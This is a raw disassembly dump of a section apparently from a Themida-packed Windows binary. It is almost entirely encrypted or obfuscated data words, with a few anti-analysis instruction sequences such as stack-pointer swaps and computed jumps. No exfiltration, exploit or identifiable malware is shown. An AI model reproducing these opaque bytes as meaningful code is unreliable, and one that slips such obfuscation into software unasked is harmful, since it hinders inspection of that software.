		dd 1A042444h, 46000000h, 0FC30C356h, 0C46BF375h, 8B66528Bh
		dd 0B8665BD0h, 8D895E8Dh, 7FA1CD9h, 0AD85C7F9h,	2C07FA31h
		dd 0F000064h, 0C85h, 6840F00h, 8B000000h, 0FA0D559Dh, 0D9D8B07h
		dd 0C707FA17h, 0FA2BD985h, 7, 68F0F00h,	8B000000h, 0FA296DB5h
		dd 99B5FF07h, 6A07FA1Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 66E8C356h, 0FFDE8B66h
		dd 0FA179995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 9EAD3BE0h, 25BD2258h
		dd 5860Fh, 81660000h, 6AF20EC2h, 1995FF00h, 8B07FA10h
		dd 8C3AEBC0h, 536DB199h, 28890B01h, 9EEFDF2h, 10C0843Bh
		dd 0C40807D8h, 100FB4D6h, 0A6C8AFF1h, 34418B22h, 53B26601h
		dd 0F978DF7Ch, 0EB3224F2h, 0D47B91CBh, 0EC3A5081h, 0D4807909h
		dd 0DE874h, 12E50000h, 0D36FAA2Eh, 5214C158h, 0F9D56E0Fh
		dd 0BF666058h, 8589F315h, 7FA0849h, 0D0C08161h,	0E800006Eh
		dd 0Fh,	22840D57h, 3C239731h, 24C287A4h, 8B31EC82h, 0FA18959Dh
		dd 0F6335907h, 56C802BAh, 634FF71h, 1BD5958Bh, 665F07FAh
		dd 0EF81DE8Bh, 4F1395C4h, 0D7816660h, 8161F19Fh, 0CCD3D6EFh
		dd 0C3805625h, 0EF815ABBh, 34454FB4h, 7ED958Bh,	0E95707FAh
		dd 14h,	0F4E2CBC6h, 46289DD2h, 3CB33F6Fh, 10FF90D4h, 4399CC1h
		dd 0F30048Fh, 28Bh, 816CB700h, 4DA5B3EEh, 8112B343h, 4DA5AFC6h
		dd 9D295743h, 7FA2805h,	0ECFE815Bh, 0FFFFF91h, 0FFFF8885h
		dd 0B70F52FFh, 13E95ADBh, 6B000000h, 1008B3h, 3	dup(0)
		dd 0AAE90000h, 68000004h, 800FB3Bh, 0F984C3E9h,	0FBBB68FFh
		dd 0B9E90800h, 68FFF984h, 800FD2Eh, 0F984AFE9h,	732BEBFFh
		dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h,	12F9AEE2h
		dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h,	7DBD203Ch
		dd 7DE307E7h, 0AD67BCC6h, 973D66F1h, 0EC7727EAh, 0DC128C87h
		dd 0F9160E7Bh, 88F11AA5h, 0A03ADCF8h, 0F6807E0h, 9EF15884h
		dd 7AFB07E0h, 0AB81B9C0h, 0C1F406Eh, 0CF000003h, 926B4FA5h
		dd 9B40B9ECh, 0C77E247Ah, 0CEBB657Bh, 0E4E60292h, 0D207E089h
		dd 0EAD83C79h, 0E00545EFh, 0AF48A6A9h, 0A11F4D8Bh, 0D7EA838h
		dd 23A85085h, 7EBE56FCh, 1DBF223Eh, 8CE5FA86h, 25B072E6h
		dd 2C960280h, 6985E058h, 0FD4BD906h, 0A459D32Ch, 48FF89Ch
		dd 0E9B55FB4h, 0B9A7E243h, 8194E929h, 94B1510Ch, 0A009E9B5h
		dd 0D246EC15h, 5461E4Dh, 5C42D328h, 0B902A8D1h,	987BD060h
		dd 0F023D006h, 0FCB3B99Dh, 0AC15EFC1h, 2371EEEh, 65043F63h
		dd 2D9h, 346A34E2h, 0DD138B87h,	83B9E530h, 2F6539D6h, 0D90F8F82h
		dd 0A07F0A5h, 63B15E94h, 0B858053Bh, 1003B0E6h,	3189588Eh
		dd 0E77EB215h, 0C37AE007h, 0B5B996F3h, 5747CD39h, 4529A3CCh
		dd 0A030993Fh, 0E8322F84h, 0B2CE0E07h, 7E6D24Fh, 2D761C75h
		dd 22EF44D4h, 59AE467Ch, 903DE3BBh, 66921D81h, 7E6D1FEh
		dd 0AACD4499h, 0E6332B8Eh, 970059F7h, 0CFCF44F1h, 62E17311h
		dd 7E1D586Eh, 259h, 0B4EAB462h,	5D930B07h, 33965B0h, 0AFE5B956h
		dd 598F0F02h, 8A877025h, 0E331DE14h, 38D885BBh,	90833066h
		dd 0B109D80Eh, 0E77E3295h, 43FA6007h, 3ACA96F3h, 0E77DC91Eh
		dd 0EF7AD307h, 0E77D5CC3h, 2BE56607h, 7584EC24h, 1A98A40h
		dd 0A71B0000h, 42A7326Ch, 278AA6D1h, 0E9FFE683h, 0D932732Bh
		dd 78A23A70h, 1632FBEFh, 63C46A23h, 8EAA3A26h, 7E146F4h
		dd 0D29B1943h, 5DEF09DEh, 8A156EB7h, 0E0E7F75Eh, 0C6800107h
		dd 6EF087BFh, 592540h, 0BCB60000h, 4DF3AB67h, 33C39DECh
		dd 0E09C4917h, 45DC0607h, 23168852h, 0A3FC4F59h, 9AC64629h
		dd 0EB19A820h, 721802C4h, 405BF29h, 1B44EE48h, 0E13E9CFFh
		dd 871CA07h, 81E8149Fh,	8B07E13Eh, 52B7C9F3h, 0CD5846CFh
		dd 0B5C02AA4h, 33ED6E14h, 6EBAF42Ch, 0D49240h, 0A7230000h
		dd 42A7326Ch, 0DF44CFCFh, 7ADF6A34h, 35750599h,	0E683B619h
		dd 0F383DCFFh, 0E68374D7h, 0A349A2FFh, 8868F165h, 0F91AFFE6h
		dd 7B0E6FA5h, 120055E5h, 0E4EE68Ch, 0BC4757B9h,	0A379ED93h
		dd 0AF07E366h, 9F71C656h, 81C159FFh, 2AB5E92Ch,	63AE5B01h
		dd 466215FFh, 7E35DE3h,	0C44FB811h, 64FC329Bh, 5EA50824h
		dd 849207E3h, 0C98BC73Eh, 6099EDFh, 0DC892F98h,	0B8E62D35h
		dd 0DD9B042Dh, 9E616E39h, 0E640DF1Ah, 0D5000000h, 7A275D41h
		dd 23D00698h, 0C976ACF2h, 75225846h, 98CC029Ch,	8915FCE3h
		dd 306EA653h, 0DBC34DFAh, 831BF8A5h, 0A267E4Dh,	7E780A7h
		dd 0A7B067CDh, 64A4346Ah, 0E682E548h, 22B20BFFh, 0E683A306h
		dd 0D278D1FFh, 722CE794h, 6CA7853Ch, 0D142A732h, 533697CDh
		dd 60617D0Dh, 8607E0D2h, 0C9489D2Dh, 0C42B9FD5h, 0A307E0D2h
		dd 35DBC34Eh, 0DD138B88h, 32BDE130h, 97CFB8E2h,	25FBD112h
		dd 63987Fh, 0F3310000h,	1E3ACA96h, 7E77DC5h, 0A1F686DFh
		dd 7F1FF36Fh, 0BC628B16h, 4F4FC429h, 0F7A76C19h, 0CA0B406Ch
		dd 31811FEFh, 0DA6539DCh, 0D08A0BB1h, 0E77727ECh, 911C8292h
		dd 0D784C268h, 72D7623Ch, 0E476019Dh, 0DD3201BBh, 0C3264235h
		dd 0F10FEF39h, 7BA42F98h, 0B3EB28D5h, 5B43D07Dh, 331D0h
		dd 0BBCA0000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh
		dd 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h,	108E84E9h
		dd 54575285h, 4C7815Fh,	83000000h, 3C8704EFh, 89505C24h
		dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 56502434h, 5C6FDEBEh
		dd 0BCEE8160h, 814A9349h, 37D422C6h, 5EF089F2h,	5458C389h
		dd 8124348Bh, 4C4h, 30DB6800h, 1C890000h, 8468F24h, 5E2434FFh
		dd 8B04C483h
; ---------------------------------------------------------------------------
		sbb	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		cld
		fcom	dword ptr [ebx+42h]
		sub	bl, ah


loc_5F3308:				; CODE XREF: Themida_:loc_5F3308j
		jecxz	short loc_5F3308
		sbb	[ecx], esi
		mov	esp, 0CEB7629Dh
		mov	eax, 800FE39h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 1826h
		dd 1AF10EA8h, 96535C1h,	98D02749h, 0A8015B39h, 76EA54B5h
		dd 78CF4D36h, 0FABC5747h, 6E83068Ch, 0D6342652h, 0DE8B2BDEh
		dd 99633CA8h, 0AB29539Eh, 0DFCB6EA3h, 952F7227h, 33556D9Dh
		dd 0F0E838BFh, 9F87C52h, 9BBA14EAh, 1532135Bh, 9E1111BCh
		dd 7EB240DDh, 6B642E03h, 2FCA0BA0h, 3760531Ah, 0DA835DECh
		dd 9A787F78h, 7CDD62A2h, 0CF7F20C2h, 20761D2Fh,	0B16A15F0h
		dd 182F3704h, 8D8D56DBh, 800FFF9h, 0D798589h, 0CB8107FAh
		dd 42B50725h, 1CD98D89h, 9D8907FAh, 7FA1851h, 31AD85C7h
		dd 5FD007FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 56F1F9C3h, 9071C88h, 0FA1E1995h
		dd 0D985C707h, 7FA2Bh, 66000000h, 0A396CA81h, 89C78166h
		dd 0B1B5FF12h, 8907FA16h, 0FA16D9B5h, 9995FF07h, 6A07FA17h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0B267C355h, 219D8B6Ah, 6A07FA1Fh,	1995FF00h
		dd 8B07FA10h, 6E7AEBC0h, 3C1BBC87h, 2DD0C1FCh, 0DD8F00A3h
		dd 52FB89BCh, 0F9312C7Ch, 0B781A549h, 0AFCF73A7h, 0CA892D06h
		dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h, 8B1B090Eh
		dd 5C339578h, 0FF42A668h, 0B64D66D2h, 7EDC37D7h, 0DEEC218Eh
		dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch,	8E86F04Fh
		dd 0C802F639h, 4B7C7F23h, 7CD906A3h, 297ED11Dh,	0D1FCAC18h
		dd 0A7DA7B2Fh, 0AAD7D37Ch, 15E96Eh, 5E50000h, 1F50h, 3 dup(0)
		dd 0E9000000h, 0B23h, 1023768h,	547AE908h, 3D68FFFAh, 0E9080103h
		dd 0FFFA5470h, 104D668h, 5466E908h, 0CF68FFFAh,	0E9080105h
		dd 0FFFA545Ch, 1073668h, 5452E908h, 1668FFFAh, 0E9080109h
		dd 0FFFA5448h, 10A0B68h, 543EE908h, 0B54AFFFAh,	3AD27900h
		dd 0A15D048Bh, 1AEC931Ah, 88751CA3h, 310AA31h, 0B43B827Fh
		dd 40C7FE0Dh, 0CD546399h, 57DED726h, 7734B120h,	0D7EFE317h
		dd 3E7E279Eh, 8B5C3ADAh, 6D6995D2h, 7734D19Ch, 0C9C7126Bh
		dd 0A9F43FB9h, 279E6F0Eh, 58E129A0h, 2B7611A0h,	0CB00A9E0h
		dd 0E0F32DA4h, 3CB92865h, 0EF7D1B36h, 8BC25DA8h, 0EBD90DE2h
		dd 0A05C525Eh, 0E8337E19h, 0AD1F4D87h, 4986DB14h, 0DD3323DCh
		dd 0AC03F5EFh, 3F9A7211h, 0DD3305C2h, 0CF1A65EFh, 0AD789B34h
		dd 3316D350h, 2B76EFDDh, 0C691FCE0h, 0AB25D86Bh, 4AF9D0h
		dd 0AB920000h, 66C76255h, 0DC8440B4h, 0A6E32E30h, 2C2CD57Ah
		dd 28258886h, 39812865h, 3851D8EEh, 0ED38AAB6h,	0EB0739B6h
		dd 2671EF7Ch, 0BFF608EFh, 0C17AAF82h, 4EEFDCFAh, 8AB918E3h
		dd 51D0AAD9h, 8823926Ah, 0A987003Dh, 63000000h,	8A259C6Dh
		dd 0D4BB1EEBh, 99568B22h, 0F9E7E216h, 0CBF20FAEh, 0B746E580h
		dd 35C463FEh, 0B5B8F57Ch, 9FE7E21Bh, 0BF06036Eh, 78ED924h
		dd 7D18A960h, 5A91CE0Eh, 0AD04F4DBh, 3D010370h,	206BEF7Ch
		dd 0A5DA2299h, 9F14F16Eh, 7DB4F770h, 0D91F4300h, 0D58A3F7h
		dd 0AB12EFD6h, 39807D24h, 69080EFBh, 0EC2FFA1Dh, 8B3h
		dd 0D35A53A4h, 5EE5DC2Ch, 0ED744BB7h, 76FDB046h, 48B32CFh
		dd 2CD9796Ah, 94670E95h, 19F39A21h, 898027AEh, 0B7AB138h
		dd 0E318D18Eh, 0C4F831EFh, 0F229906Dh, 2BC6F10Bh, 3DE4A3E0h
		dd 726EF5CCh, 0E9205D9Dh, 7C1F3A6Ch, 0F06DA4EFh, 0EFDC2F33h
		dd 62FD4893h, 0DC2F742Dh, 0FDB046EFh, 7B4AC362h, 592447E0h
		dd 0D6A10CF0h, 48799077h, 0BA2562ADh, 0D0AA2589h, 0D148h
		dd 0FFAE100h, 6D4D79B6h, 538A259Ch, 169A57D4h, 0AFFAE7E2h
		dd 36E9B72h, 0D924BF06h, 0BBBEF38Eh, 0A5E7E21Bh, 2FD65D54h
		dd 0DD4CE7DEh, 0AA29609Dh, 427F46C3h, 7C3CD3D5h, 6C9E3DEFh
		dd 10870E59h, 1E9F7DC8h, 9A4F94DBh, 68B302FBh, 0B633B231h
		dd 0EFDCA5F9h, 1CD90E59h, 7CEFDCA6h, 885F431h, 0F770F360h
		dd 0B9386FBAh, 0D9857F3Ch, 5794DFF7h, 0BD0401E8h, 0CD8A0786h
		dd 2DF7D984h, 3FE6A5E2h, 0F6BDFBC2h, 0B21D696Eh, 7ADA4E7h
		dd 55AA0000h, 0DA32D960h, 41BD64EBh, 0BA4CF37Ah, 28D57C03h
		dd 63700A91h, 149B22DFh, 0A0279E6Dh, 2DB403F9h,	0B73E7786h
		dd 0D7941180h, 37EFE319h, 906DCAFEh, 2FBA229h, 178D4AC7h
		dd 9567E7E2h, 73BE0922h, 0EED5F0ECh, 946BA81Dh,	12B14C65h
		dd 0CC43CAFBh, 9B184F8Ch, 0EF7C2D85h, 0B251EC37h, 3CE36A5Bh
		dd 5D64A0CDh, 0D21677C2h, 0CA643E55h, 7FB44F9Ah, 771B22A5h
		dd 20E5B0CBh, 0AA51D8E9h, 92C76253h, 772324D8h,	5E27F24Dh
		dd 0E88F16AFh, 7A37B411h, 0DA772325h, 640D448Fh, 3C39CFFFh
		dd 9E71AE94h, 0BAAD5369h, 3C837F66h, 0BB0A02A1h, 0C036D520h
		dd 0AAC552EDh, 0AED16ADFh, 0DAEB22E3h, 785DAC53h, 23403EFBh
		dd 0D5EC1877h, 9FD6EF3Ah, 23406522h, 2F7AC577h,	92DA49E4h
		dd 937D265Dh, 0B4F3CFF5h, 437A8625h, 581A9706h,	0C27EBDE6h
		dd 0A2594077h, 0F02D7813h, 3D72BA31h, 19638906h, 10F786B8h
		dd 0E530CBFAh, 1C7431AEh, 89D48718h, 15B0FB4Ch,	181C26E0h
		dd 7F4AB587h, 65229F1Eh, 0C587181Ch, 61D23D7Ah,	6048663Ch
		dd 395h, 0BF2CD53Ch, 0FE4C19C1h, 1A3581BEh, 4D84B901h
		dd 7D1C32D0h, 5889D4EFh, 0E36E7AF3h, 0B835B470h, 70EBEDFBh
		dd 9A71105Bh, 747EE2Bh,	0E5308576h, 0F0331AEh, 60477886h
		dd 8EDF1CA5h, 8A71A843h, 61AC477Eh, 0EA3D7D24h,	0B09BD95Dh
		dd 7CB3FE3Ah, 7AF509FFh, 0F9307B80h, 43CAFB12h,	16546D9Ch
		dd 8B9EE057h, 14F33601h, 43000006h, 0CB72F9CCh,	56FD8433h
		dd 0E58C13AAh, 6E159C13h, 9A32A93h, 348D781Ah, 0C0F506ADh
		dd 4D789239h, 0D7EE1FC6h, 2DAA1950h, 0EFE31B70h, 9D6397D0h
		dd 8831CC5Dh, 2057A2EDh, 7C2D8DA3h, 0BDF43FEFh,	0C879AC14h
		dd 0F33019DEh, 39888120h, 5B26419Eh, 164D82CAh,	76528399h
		dd 17FE35F7h, 0E29FD4EBh, 42F7D652h, 8E75ACF7h,	63AE497Ch
		dd 49C06726h, 71984178h, 4A17A36Bh, 0BA592C69h,	543B7243h
		dd 1D411A8h, 98159403h,	0F7D681DBh, 58B3F03Bh, 8031C88Dh
		dd 5675BEF9h, 6F56D8A4h, 46912C93h, 2839009h, 9D6C0000h
		dd 6AE9205Dh, 91E255C1h, 0EA2722F5h, 0E3BB437Dh, 1B529DDFh
		dd 7148B59Ch, 774E8BD6h, 6DAC338Ah, 0A8437A86h,	7BC6FD09h
		dd 239A673Eh, 0C2F905ECh, 0CC9FDC27h, 7B288397h, 0DE3017DFh
		dd 5BC48E7h, 0A918F1C8h, 9FA4BC6Bh, 3E814C1Ah, 51Bh, 6BF2CB3Ch
		dd 0F67D34C4h, 850CB34Fh, 0E9528DEh, 9C239A67h,	94711102h
		dd 0CFFA62Dh, 718B32B9h, 0E118BF46h, 0A31249D0h, 0E31C6926h
		dd 5C90C9EFh, 0E9205D9Dh, 5EDE340h, 888162B3h, 42B1EE39h
		dd 932ADCC3h, 370ADF8h,	0DFE392C9h, 0DAE31E05h,	66014C9Dh
		dd 98CC862Fh, 0B53B452Ch, 5968A178h, 0E3D22BD2h, 6150A948h
		dd 712EAB2Ah, 0D1EFE3D1h, 78764986h, 7CFB521Dh,	1D526995h
		dd 0EFE3D160h, 613875C0h, 579219A8h, 0DF5187ECh, 1A0E5h
		dd 9C6DC100h, 886FEE25h, 5AA54071h, 0E2176825h,	407DC8E7h
		dd 863FCE6Dh, 0B4088FFh, 8E1BEDD4h, 33226EC6h, 3408BEBh
		dd 3C111794h, 3883EF7Ch, 4BAF689Dh, 0D13CEFDCh,	0C98AB06h
		dd 3139D0AAh, 15000000h, 0E9205D9Dh, 81BE0702h,	1F639512h
		dd 0C8AFEF7Ch, 9DE88332h, 29C40F60h, 0DC2F3BF4h, 925DC8EFh
		dd 0AA25F43Fh, 1AF0D7D0h, 0A5F56EABh, 0D1000000h, 38D19C6Dh
		dd 58A3EE89h, 8A0786BDh, 0E7E216CDh, 0C45F56A7h, 0D8156079h
		dd 9C690401h, 3DBFC425h, 2B17A139h, 57A645E0h, 0D524C35Eh
		dd 0A7427388h, 4D8A115Ch, 0E7E2844Ah, 65ECC534h, 3A71AEEEh
		dd 76D193BDh, 6BA2EDEFh, 9407984h, 7785EC22h, 0F9B8F540h
		dd 0D00EB752h, 15634C1Dh, 0B499DCA7h, 0A3000003h, 2BD2596Ch
		dd 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah
		dd 2095660Dh, 0AD18F299h, 378E7F26h, 8D0A79B0h,	0EFE31DD0h
		dd 6DC3F730h, 8F26D590h, 0E716BD44h, 9732837Ah,	7E7A014Ch
		dd 8A259C6Dh, 1CA312EBh, 0AF06F6DDh, 0E58CC914h, 4A3168A5h
		dd 216C07BEh, 0FF675E4h, 4CB6F3h, 29BDB9ACh, 0F7ED7DDEh
		dd 27DEE509h, 4ABB7DEAh, 0EE25EF7Ch, 0DC4CB471h, 7EC914EFh
		dd 4CF7AEE3h, 0FB6AEFDCh, 690E252h, 0C8FF9D8Fh,	0DC358E4Bh
		dd 66A3EEEFh, 5EDD400Bh, 370EDBB5h, 0EB2048AEh,	0EFDCC02Eh
		dd 5F06438Eh, 0BC79F61Fh, 1CEFDCBFh, 0EF3A817Dh, 2EF06DA4h
		dd 7AF776D5h, 0AB4A7D93h, 7FCA6550h, 1FA6F142h,	18EED523h
		dd 88BF0AA5h, 0E2174E0Bh, 2663AEE7h, 0D007BE4Fh, 8A312E9h
		dd 169754D1h, 0ACF7E7E2h, 0B2512461h, 6CE36A5Bh, 0D1B8EF2Ch
		dd 0E1508D34h, 7C315E64h, 0EA85D0EFh, 0DC40FCB5h, 230A89EFh
		dd 439EDBEAh, 132A1978h, 8B1D0AAh, 0FB2E16CAh, 3F3E55E0h
		dd 55E98FF0h, 2969E21Fh, 45000000h, 18DA2CD5h, 2643A036h
		dd 0C5FA42E9h, 93DF118Eh, 0FE49EF7Ch, 0A4752E63h, 9702EFDCh
		dd 0B0CE75CCh, 0E903D0AAh, 0DF000000h, 0F64C2CD5h, 355DD5A8h
		dd 0D9E821F8h, 0B88073Eh, 0E7E2BA4Eh, 4F2663AEh, 0D1700BB2h
		dd 4FEE8938h, 438007BEh, 0E7E2BF40h, 6352AB92h,	7BE4F26h
		dd 17D451D0h, 77E7E2BFh, 8930EF2Ch, 37A64170h, 683BAF7h
		dd 0EF7CD2CCh, 9E155F08h, 0F6C582FFh, 0DA25EFDCh, 61E2BB79h
		dd 35801BAAh, 764A89EAh, 43392AEh, 0A42B76C7h, 79B0ED2Dh
		dd 713CBCFCh, 0A4DB26F7h, 0F27940BDh, 57B3BE4Bh, 38D3EA1Ch
		dd 1957A2EDh, 1D69A632h, 0D4D81BE6h, 83000001h,	0BB2398Ch
		dd 963DC4F3h, 25CC536Ah, 0AE55DCD3h, 49E36A53h,	744DB85Ah
		dd 0B546EDh, 8D38D279h,	17AE5F06h, 6DEA5990h, 0EFE31FB0h
		dd 0D5A3D710h, 58A83A2Ch, 2B7611A0h, 760C98CAh,	32A76239h
		dd 0E264F8B5h, 4DB958E7h, 4590DB76h, 3DCC73FAh,	0D7BEFD84h
		dd 29559225h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h
		dd 27F25DEFh, 0AA2579CAh, 66E362D0h, 0EFDC22A9h, 4E5DBE09h
		dd 0FFC2AA75h, 0CE960F4Ch, 72000000h, 3AD19C6Dh, 5AA5F08Bh
		dd 0DCE520BFh, 1C090C41h, 745BE7E2h, 9423D984h,	2663AE49h
		dd 88F1BE4Fh, 0DE676C4Eh, 5E058CD7h, 0F8DF16AFh, 0CE19B40Dh
		dd 0F4FBE91h, 0A03B827Eh, 56D30A55h, 0EF7D0A1Ch, 2DA42B76h
		dd 0FC79B0EDh, 0F7715917h, 5E457CC7h, 64E31AA3h, 0D9EB2AE7h
		dd 23F8AF7h, 58619C43h,	69D42B1Ah, 0CF12DD1Dh, 0DFh, 0A72E8778h
		dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh
		dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E320A562h
		dd 98CC05EFh, 541DEED5h, 2BC611A8h, 31CCA3E0h, 0ECA85188h
		dd 0D824480Eh, 0F0C07DFAh, 0D520E7E2h, 0A71EEB8Ah, 0ED6CAB6Ah
		dd 0E2F0B370h, 8BC813E7h, 0E56C45B4h, 259C6DE9h, 0A312EB8Ah
		dd 3C65A51Ch, 0E21702BFh, 0CC1762E7h, 17821895h, 0E934DFE3h
		dd 675EAF4Eh, 73778730h, 0F5089B83h, 7510A556h,	0EF2EED2Ah
		dd 0C61E5C46h, 0E3F68C49h, 40A1ECEFh, 0F594017Ah, 0C813AE05h
		dd 6C45B48Bh, 0CC9D9CD1h, 76910714h, 0A213EAABh, 4085741Bh
		dd 34DF06C3h, 0D01B6607h, 4D609635h, 3F2655B2h,	125DF8CFh
		dd 0E6AF7AD5h, 70179E17h, 4A8D2899h, 3,	6DB6DA26h, 0E988239Ah
		dd 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh, 6C0BA61Fh
		dd 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E38953h, 4C3h
		dd 4EB8300h, 31241C33h,	1C33241Ch, 89525C24h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 2434895Ch, 6EEF68h, 243C8900h
		dd 2590BD55h, 814560AAh, 27F9DCDh, 6BBF575Eh, 81244566h
		dd 2B64A5CFh, 0FAF7815Bh, 313D6977h, 0C5815FFDh, 0CB549255h
		dd 545DEE89h, 83243C8Bh, 815604C4h, 4A71242Ch, 478F2E43h
		dd 8478108h, 2E434A71h
; ---------------------------------------------------------------------------
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		db 69h,	1Ch, 16h
		dd 0DDFEBFE6h, 6A1C695h, 0B891DEBFh, 8010B0Fh, 0E0FFC503h
		dd 78D4E5ACh, 675769D4h, 4704B580h, 471F60D9h, 117AC2E6h
		dd 4DBFA388h, 781FDD0Ch, 2CF4538Eh, 1C5C4E7h, 6323B739h
		dd 67B9692Dh, 608D9232h, 3DF6F57Ah, 0BA84A2Dh, 147C9535h
		dd 3DA209B1h, 2483DD71h, 42DD40ACh, 764C9A27h, 37C1AFE1h
		dd 3C83C2FEh, 5AD1FC8Fh, 3FC26DEBh, 14704C56h, 7F33E992h
		dd 3B29FF50h, 74E84C65h, 0D108D8Dh, 6A0801h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 26BFDEC3h
		dd 0C59D0189h, 907FA0Eh, 0FA2F3985h, 0D98D8907h, 6A07FA1Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6E34C351h, 8B99136Ch, 0FA02BD95h,	0AD85C707h
		dd 2C07FA31h, 6A00006Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0B5F0C350h,	2D3F8968h
		dd 0F80E0E8h, 5E9FBBFh,	0E7000000h, 0EE4F4A3Bh,	2BD985C7h
		dd 7FAh, 0B5890000h, 7FA2145h, 0B5FFAEB3h, 7FA112Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5AC35343h, 179995FFh
		dd 49B407FAh, 34C1858Bh, 6A07FAh, 101995FFh, 0C08B07FAh
		dd 961B59EBh, 2536D869h, 21A966F6h, 0A525EFB5h,	0E07B8D15h
		dd 0AC84D7DDh, 2D50EA48h, 95145223h, 180B0A37h,	0CC87BEEEh
		dd 0C41E5F50h, 6388631Ch, 993E69D4h, 1D424CA3h,	7961CAC7h
		dd 50A3BD68h, 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h
		dd 6D3BA0C1h, 0B5F5EF05h, 8DBC3C5Bh, 10E758Dh, 68E0F08h
		dd 89000000h, 0FA01B18Dh, 0E3816607h, 8D89E8B5h, 7FA1CD9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h
		dd 1D99D8Bh, 0B58B07FAh, 7FA00B5h, 16E9BD8Bh, 85C707FAh
		dd 7FA31ADh, 61C0h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0E8C35141h, 3ADC5312h, 0F5D1D50h, 0C7FCF9BFh
		dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8BD18EEEh, 0FA2B91B5h
		dd 49B5FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 10EAC357h, 0DBBF0FC2h
		dd 9995FFF8h, 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 7A2FC355h, 47BCF338h
		dd 11852905h, 6A07FA26h, 1995FF00h, 8B07FA10h, 623DEBC0h
		dd 87048AA1h, 4E89C962h, 75FA6523h, 403BD501h, 47B0E79Fh
		dd 565B97F9h, 9C471DC2h, 815893C7h, 1A263EECh, 0EF11191Eh
		dd 796F3041h, 212FD7FEh, 0D260B343h, 0AE947B51h, 59175EABh
		dd 12E8h, 0EB264100h, 8AF75F3Fh, 400AEA1Ah, 9B63DD94h
		dd 8B8AE67Bh, 0FA10D1BDh, 85895807h, 7FA02CDh, 6770C081h
		dd 8D890000h, 7FA0675h,	34FFD233h, 0D98B6602h, 0D18D8B5Eh
		dd 8107FA2Ah, 50E3BBF6h, 0C681F860h, 24D3BB1h, 0EF9BD8Bh
		dd 0F68107FAh, 7F4339Fh, 20F99D89h, 8A5607FAh, 10048FFEh
		dd 20BDBD8Bh, 8F0F07FAh, 4, 995BB66h, 8B01EA83h, 0FA0B05BDh
		dd 4A4A4A07h, 81D98B66h, 0FF991CFAh, 0A3850FFFh, 8BFFFFFFh
		dd 0FA1E7D9Dh, 5E807h, 0A1BE0000h, 8BCB2C0Eh, 0FA159D8Dh
		dd 860F5A07h, 2, 0C2813BB0h, 6F6Eh, 0B714ECBFh,	5EF78106h
		dd 6606B70Fh, 8B308DB8h, 8E81Ah, 0EE360000h, 575B468Ch
		dd 0B8519EB4h, 3926D502h, 0C3815858h, 49A25133h, 8158F553h
		dd 0F520D2C3h, 8D8B602Eh, 7FA01A5h, 61F28B66h, 0DDB2EB81h
		dd 89FC0D37h, 5830F1Ah,	0B8000000h, 791C2FC8h, 102EA83h
		dd 0FA0799BDh, 4F4A4A07h, 10850Fh, 25E90000h, 0B3000000h
		dd 252BA125h, 8E4326A9h, 8589D40Ch, 7FA18A1h, 0FFFF8EE9h
		dd 0ABCCD0FFh, 0DBDC82B4h, 2C000AAAh, 8FCC74F5h, 10DA8D8Dh
		dd 13B20801h, 1CD98D89h, 0BD0B07FAh, 7FA312Dh, 0AD858B60h
		dd 0E807FA0Ah, 8, 355DC9FEh, 0C9ADBCE1h, 8E8h, 2CEF8600h
		dd 25FC003Ah, 615F5E94h, 31AD85C7h, 6D7C07FAh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 22AD77C3h, 1CF4D400h, 0C7230BB3h, 0FA2BD985h, 7, 9E95700h
		dd 4C000000h, 0E1E465CDh, 0D2C6A41Dh, 99B5FF5Bh, 6A07FA1Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 4F8BC356h, 183A299h, 0FA2D71BDh, 0DBBF0F07h
